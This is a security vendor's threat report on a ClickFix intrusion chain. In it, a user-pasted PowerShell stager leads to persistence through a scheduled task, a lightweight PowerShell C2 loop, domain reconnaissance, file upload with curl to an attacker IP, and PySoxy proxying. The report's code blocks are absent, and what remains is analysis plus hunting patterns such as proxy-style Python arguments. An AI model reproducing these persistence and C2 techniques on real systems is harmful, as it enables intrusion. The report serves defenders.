ClickFix Evolves with PySoxy Proxying

Editor’s note: This report was authored by Ivan Righi and Austin Ritchie.

Key Points

• A new “ClickFix” campaign uses scheduled tasks for persistence and PySoxy, a 10-year-old open-source Python SOCKS5 proxy, to establish encrypted proxy access.

• In the observed chain, one user-executed command led to persistence, domain reconnaissance, an initial PowerShell-based command-and-control (C2) channel, and a second C2 path through PySoxy, giving the attacker encrypted proxy access without relying on well-known malware or remote monitoring and management (RMM) tools.

• This development shows ClickFix moving beyond one-time user execution into modular post-exploitation, where older open-source tools can create redundant access paths that are harder to classify and contain.

• To counter ClickFix activity, isolate affected hosts, review scheduled tasks, analyze Python artifacts, and hunt for proxy-style Python command lines rather than treating a blocked C2 connection as containment.

ReliaQuest observed attackers using “ClickFix” to deploy PySoxy, an open-source tool that lets attackers route encrypted traffic through a compromised host, in an intrusion chain in April 2026. This marks the first time we’ve seen this combination. This incident stood out because it combined ClickFix execution, proxy-based command-and-control (C2), and scheduled task persistence, which created a durable access chain that continued re-executing even after outbound access was disrupted.

The main risk is that blocking the attacker's connection doesn’t necessarily stop the intrusion. In the incident we investigated, security controls blocked both of the attacker’s connection attempts, but a scheduled task on the affected computer kept trying to restart the activity for hours. This shows how a single ClickFix execution can leave attackers with backup access to a host. It also shows why ClickFix incidents that include persistence or secondary tools should be treated as active compromise investigations, not isolated user-execution events.

In this spotlight, we:

• Break down how one user-executed ClickFix command triggered an automated chain that moved from PowerShell-based persistence and domain reconnaissance into Python-based proxy deployment.

• Explain how PySoxy gave attackers a second access method with a different traffic pattern and tooling profile than the initial ClickFix activity.

• Detail how scheduled task persistence and redundant C2 paths allowed the chain to outlast initial blocking, with actionable guidance to detect, contain, and remediate these intrusion chains before access expands.

From User Click to Persistence: How ClickFix Set Up PySoxy

We recently observed a ClickFix intrusion in which a user-pasted command did more than trigger a one-time connection. Instead of ending at initial execution, the chain established scheduled task persistence, launched an in-memory PowerShell C2 agent, and carried out domain reconnaissance, laying the groundwork for the attacker to introduce PySoxy as a second encrypted access path.

In more common ClickFix cases, the user action is primarily a launch point: PowerShell runs, a payload is retrieved, and the attacker gets one chance to connect back to their infrastructure. Here, that user action marked the start of a longer access setup that added persistence, active C2, and enough environmental awareness to support the next phase of the chain.

Initial Lure and Execution

The activity started after a user visited a compromised website that delivered a ClickFix prompt and led the user to execute PowerShell. The lure and user-executed PowerShell matched established ClickFix tradecraft. What happened next was different. Rather than stopping at initial execution, the intrusion established persistence and follow-on access mechanisms that extended activity well beyond the first callback.

The intrusion chain began with an obfuscated PowerShell command launched from explorer.exe, an execution pattern we commonly see with ClickFix. In these cases, the user is tricked into running the attacker’s command from their own desktop session, making the activity appear to come from a trusted Windows process. The command was built to make detection harder. Instead of calling PowerShell commands by name, it referenced them indirectly, making the malicious behavior less obvious in the command line. Even so, the outcome was the same. The stager contacted attacker infrastructure, downloaded the next stage, and executed it in memory without writing the payload to disk.

Scheduled Task Persistence

The attacker then created a scheduled task for repeated execution. This changed the activity from a one-time user action into a repeatable access mechanism. Telemetry showed the task launching a staged script from C:\ProgramData roughly every 40 minutes, using arguments commonly associated with defense evasion and low-visibility execution:

Even if the initial process exited or the outbound callback was blocked, the scheduled task gave the attacker a built-in way to restore execution without needing further user interaction.

Recovered PowerShell C2 Logic

Once we recovered the contents of the staged script, it became clear that the attacker wasn’t relying just on the familiar iex(irm) pattern often seen in ClickFix activity, where PowerShell downloads and immediately runs a follow-on payload in memory. In many ClickFix intrusions, the initial script’s role is limited to that delivery function. Here, the script went further and implemented its own C2 logic. That gave the attacker remote access to the host and a way to issue new commands over time, all in roughly 15 lines of PowerShell. A sanitized version of the recovered code is shown below:

In practical terms, the script worked like a lightweight remote-access tool. It checked in with the attacker’s server every three seconds, received commands, ran them on the host, and returned the output. Each check-in included a host-specific identifier, which allowed the attacker to track the compromised machine across sessions. As a result, the attacker didn’t need to deploy a separate malware family to maintain access. The PowerShell script itself provided that access.

The scheduled task made this access more durable. While the script was active, it checked for commands every three seconds. If the script stopped or a connection was blocked, the scheduled task attempted to relaunch it roughly every 40 minutes. In other words, a blocked outbound connection at a single point in time would not fully break the chain, because the local persistence mechanism could keep restarting it.

Discovery Activity

Once active, the PowerShell stage moved into reconnaissance. The attacker used built-in Windows tools to check group memberships, identify the host’s domain role, and enumerate domain controllers. These actions helped the attacker understand the user’s privileges, the domain environment, and which systems could support follow-on activity. By this point, the intrusion had moved beyond a single user-run command. The host had interactive PowerShell access running under scheduled task persistence, and the attacker had gathered enough domain context to support follow-on activity. That discovery activity set up the next phase of the chain, in which the attacker introduced Python-based proxy tooling.

How PySoxy Added a Second Way In

After staging reconnaissance output locally and uploading it to separate attacker-controlled infrastructure, the attacker downloaded Python tooling to C:\ProgramData. The compiled bytecode file was then executed with Python and identified as PySoxy. This turned the intrusion from a PowerShell-led access chain into one with redundant access paths.

Why this matters becomes clear in the Python command line used in this stage. The command shown below is important because it reflects more than routine Python use. It shows Python running a staged file and attempting to open an encrypted connection to attacker-controlled infrastructure. On its own, that kind of activity might not stand out. Here, it appeared immediately after suspicious PowerShell execution and scheduled task persistence.

This command shows:

• python.exe executing compiled Python bytecode from a non-standard directory

• A .pyc file staged under C:\ProgramData

• Proxy-style arguments, including -ssl, -remote_port, and -remote_ip

• Outbound encrypted traffic to external infrastructure over port 443

• Python execution shortly after suspicious PowerShell activity

Taken together, these behaviors suggest the attacker was setting up a second way to maintain access, not just using Python for routine administration. That matters because the attacker introduced this access path after they already had PowerShell-based access and scheduled task persistence. As a result, blocking the initial PowerShell C2 connection would not necessarily contain the intrusion.

Discovery and Staging Built the Foundation for PySoxy

For defenders, the important point is that PySoxy wasn’t introduced randomly or immediately after the ClickFix execution. Before deploying the proxy tooling, the attacker first gathered information about the environment, identified potential follow-on targets, and confirmed the host could communicate with attacker-controlled staging infrastructure. That sequence matters because it shows deliberate preparation for continued access, not just one-off reconnaissance.

Observed activity included:

• User and group discovery via built-in Windows commands, which revealed the compromised account's privilege level and group memberships

• Domain role discovery, which confirmed the host was domain joined

• Domain controller enumeration via nltest.exe /dclist:, which identified potential targets for follow-on movement

• Lightweight Directory Access Protocol (LDAP)-based machine enumeration, which mapped additional hosts in the environment

• Server Message Block (SMB) activity against discovered systems

• Log-file staging under C:\ProgramData and upload to attacker infrastructure

• Finally, scheduled task persistence that continued re-executing the PowerShell remote-access trojan (RAT) throughout the engagement

The attacker uploaded a local log file from C:\ProgramData to staging infrastructure using curl -T:

The attacker then downloaded PySoxy from the same staging server:

This sequence shows the attacker verifying that staging infrastructure was reachable before introducing additional tooling. The log upload confirmed that the host could communicate with 206.206.103[.]120, and the Python download immediately followed from the same server. In other words, PySoxy wasn’t dropped opportunistically; it was introduced only after the attacker had mapped the environment, staged data locally, and confirmed a working path for follow-on access.

Persistence and Redundant Access Complicate Containment

The scheduled task was the anchor of this chain. Even after initial activity was detected and outbound connections were blocked, the task continued trying to re-execute the attacker's script.

That behavior reinforces a key point: A blocked callback is not containment.

Endpoint controls can block outbound C2 and still leave persistence behind. Full remediation requires removing all components that support re-execution, including scheduled tasks, staged PowerShell scripts, Python runtimes, and .pyc bytecode files when present. Leaving any one of those components in place can allow the intrusion to resume.

The attacker attempted two separate access paths:

1. A PowerShell-based tasking RAT delivered by a ClickFix stager and relaunched by a scheduled task.

2. Python-based encrypted proxying through PySoxy, using separate infrastructure and a different traffic profile.

Both channels were blocked by endpoint controls, but the persistence mechanism still mattered because it allowed repeated re-execution attempts. That is the central challenge with modular ClickFix chains: The local mechanism can outlive the first blocked connection and keep trying to rebuild access. For response teams, this means that ClickFix incidents that include persistence and secondary tooling should be treated as active compromise investigations, with host isolation, full artifact review, and validation that all access paths and staged components have been removed.

Step Up Your Defenses Against ClickFix-to-PySoxy Chains

ReliaQuest’s Approach

ReliaQuest GreyMatter helps security teams detect and contain ClickFix activity before it becomes durable access. This chain highlights why detections need to correlate across stages: user-driven PowerShell, persistence, discovery, tool transfer, and Python proxy execution.

• GreyMatter Transit: PySoxy activity can be easy to miss because it may look like routine encrypted traffic or a single Python execution event. GreyMatter Transit collects, normalizes, and analyzes telemetry in motion from supported sources such as Microsoft Windows and network security controls before the data is stored in downstream platforms. In activity like this, GreyMatter Transit can help surface high-value signals earlier, such as suspicious Python command-line execution or related outbound connection telemetry, without waiting for the data to be indexed in a SIEM.

• GreyMatter Agentic AI: ClickFix chains often generate signals that may each appear benign in isolation. For example, a PowerShell process launched from explorer.exe is normal, a scheduled task creation is routine, a file write to ProgramData is unremarkable, or a Python process using Secure Sockets Layer (SSL) arguments is not inherently suspicious. But correlated together across a compressed timeline, they indicate an active intrusion chain. GreyMatter Agentic AI connects these behaviors so analysts can prioritize containment before the attacker establishes redundant access.

• ReliaQuest Detection Rules: ReliaQuest detection content is continuously updated based on the latest intelligence and research. For this activity, detection coverage focuses on ClickFix-style PowerShell execution, scheduled task persistence, and PySoxy-style Python command lines.

Organizations can reduce mean time to contain (MTTC) response times from hours to minutes by deploying detection rules alongside GreyMatter Automated Response Playbooks:

• Isolate Host: Removes the affected endpoint from the network, cutting off PowerShell C2, PySoxy proxying, and follow-on staging while analysts review persistence.

• Disable User: Disables the potentially compromised account to prevent further authenticated activity while group membership, session exposure, and command history are reviewed.

• Initiate Host Scan: Scans the affected host for additional artifacts, staged tooling, and persistence mechanisms that may not have triggered an initial detection.

Your Action Plan

ClickFix response needs to go beyond blocking the first PowerShell command. The actions below focus on identifying and removing the full access chain.

• Do Not Treat a Blocked Callback as Containment: If endpoint controls block C2, still isolate the host and review persistence, staged files, interpreter activity, and outbound attempts. Blocking infrastructure does not remove the mechanism that launched the connection. In this chain, the scheduled task continued re-executing for hours after both C2 channels were blocked. Identify tasks created shortly after suspicious PowerShell execution and validate their actions, triggers, and paths.

• Investigate PowerShell-to-Python Chains: Look for PowerShell launching curl, downloading Python artifacts, writing to ProgramData, or spawning python.exe. Pay special attention to .pyc execution and non-standard Python paths.

• Detect Proxy-Style Python Arguments: Hunt for command lines containing combinations such as -ssl, -remote_ip, -remote_port, SOCKS, or .pyc execution. These are high-value signals for PySoxy-style activity.

• Audit Domain Reconnaissance After ClickFix: Commands such as whoami /groups, domain role discovery, domain controller enumeration, LDAP enumeration, and suspicious SMB activity indicate the intrusion has moved beyond initial execution and into environment mapping.

Key Takeaways and What’s Next

ClickFix is evolving from a simple social engineering delivery method into a launchpad for modular post-exploitation. In the observed chain, attackers paired familiar PowerShell execution with PySoxy, an older open-source SOCKS5 proxy, to create a second encrypted access path. PySoxy is a reminder that attackers do not need new malware to create new risk. Recombining familiar techniques with older open-source tooling can be enough to bypass assumptions, slow classification, and create redundant access.

The clearest defensive lesson is that ClickFix investigations must include follow-on tooling analysis. If analysts stop after the first blocked PowerShell callback, they may miss scheduled task persistence, staged Python tooling, and proxy execution.

This chain also bears operational resemblance to “SocGholish” intrusion chains, which similarly progress from social engineering delivery through domain reconnaissance and proxy-based access into pre-ransomware staging. ClickFix chains that reach the same post-exploitation depth, with persistence, environment mapping, and secondary C2, are functionally at a comparable stage. It is realistically possible that ransomware affiliates may begin treating ClickFix as an equivalent initial-access source alongside SocGholish and initial access broker (IAB) purchases.

Looking ahead, we expect ClickFix operators to continue experimenting with post-exploitation tooling beyond PowerShell. Python is one option, but the underlying logic, using whatever scripting runtime is available to stage proxy or C2 capability without dropping a traditional payload, applies equally to other interpreters. Node.js, PHP, Perl, or built-in Windows scripting environments such as cscript with VBScript could serve the same role. The use of PySoxy in this chain may be an early example of a broader pattern in which attackers pair social engineering delivery with bring-your-own-interpreter (BYOI) post-exploitation to avoid signature-based detection and create redundant access paths that are harder to classify and contain.

IOCs